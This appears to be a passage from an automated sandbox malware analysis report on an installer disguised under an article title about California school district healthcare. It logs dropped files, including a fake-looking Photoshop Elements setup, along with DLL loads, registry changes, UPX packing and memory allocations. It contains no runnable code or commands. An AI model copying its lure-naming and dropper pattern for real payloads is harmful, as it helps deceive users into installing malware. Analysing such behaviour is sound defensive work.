Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: dataexchange.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: d3d11.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: dcomp.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: dxgi.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: twinapi.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: msiso.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: sxs.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: mshtml.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: umpdc.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: srpapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: jscript9.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: msimtf.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: d2d1.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: d3d10warp.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: dxcore.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: mlang.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: windows.shell.servicehostbuilder.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: policymanager.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: msvcp110_win.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: msxml3.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Section loaded: gpapi.dll

Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{5E5F29CE-E0A8-49D3-AF32-7A7BDC173478}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp

Window found: window name: TNewButton

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe

Static file information: File size 321527232 > 1048576

Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: Google.Widevine.CDM.dll.pdb source: Google.Widevine.CDM.dll.17.dr
Source:	Binary string: D:\Jenkins\workspace\ccd-hyperdrive\main\native\win32\build\msvs_win32_x86\Release\x86\sym\HDBootStrapper\HDBootStrapper\Set-up.pdb source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp

Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe

Code function: 10_2_00B49970 EntryPoint,LoadLibraryA,GetProcAddress,ExitProcess,VirtualProtect,VirtualProtect,VirtualProtect,

10_2_00B49970

Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe	Static PE information: section name: .didata
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp.0.dr	Static PE information: section name: .didata
Source: Google.Widevine.CDM.dll.17.dr	Static PE information: section name: .00cfg
Source: Google.Widevine.CDM.dll.17.dr	Static PE information: section name: .gxfg
Source: Google.Widevine.CDM.dll.17.dr	Static PE information: section name: .retplne
Source: Google.Widevine.CDM.dll.17.dr	Static PE information: section name: .voltbl
Source: Google.Widevine.CDM.dll.17.dr	Static PE information: section name: _RDATA

Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe

Code function: 10_2_00511654 push ecx; ret

10_2_00511667

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	File created: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	File created: C:\Users\user\AppData\Local\Temp\PhotoshopElements_2024_LS30_win64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe	File created: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	File created: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8016_1807591881\Google.Widevine.CDM.dll	Jump to dropped file

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8016_1807591881\Google.Widevine.CDM.dll

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe

File created: C:\Users\user~1\AppData\Local\Temp\CreativeCloud\ACC\AdobeDownload\HDInstaller.log

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8016_767797103\LICENSE.txt

Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT

Source: C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Memory allocated: 5930000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Memory allocated: 5CD0000 memory commit \| memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Memory allocated: 5E50000 memory commit \| memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Memory allocated: 5E70000 memory commit \| memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Memory allocated: 5EE0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Memory allocated: 9610000 memory commit \| memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Memory allocated: 9660000 memory commit \| memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Memory allocated: 96B0000 memory commit \| memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Memory allocated: A6D0000 memory commit \| memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Memory allocated: A730000 memory commit \| memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Memory allocated: A790000 memory commit \| memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Memory allocated: A7B0000 memory commit \| memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Memory allocated: A7D0000 memory commit \| memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Memory allocated: A830000 memory commit \| memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Memory allocated: A890000 memory commit \| memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Memory allocated: A8B0000 memory commit \| memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Memory allocated: A8D0000 memory commit \| memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Memory allocated: A8F0000 memory commit \| memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Memory allocated: B9A0000 memory commit \| memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Memory allocated: B9D0000 memory commit \| memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Memory allocated: B9F0000 memory commit \| memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Memory allocated: BA10000 memory commit \| memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Memory allocated: BA30000 memory commit \| memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Memory allocated: BA50000 memory commit \| memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Memory allocated: BDC0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Memory allocated: C3D0000 memory commit \| memory reserve \| memory write watch
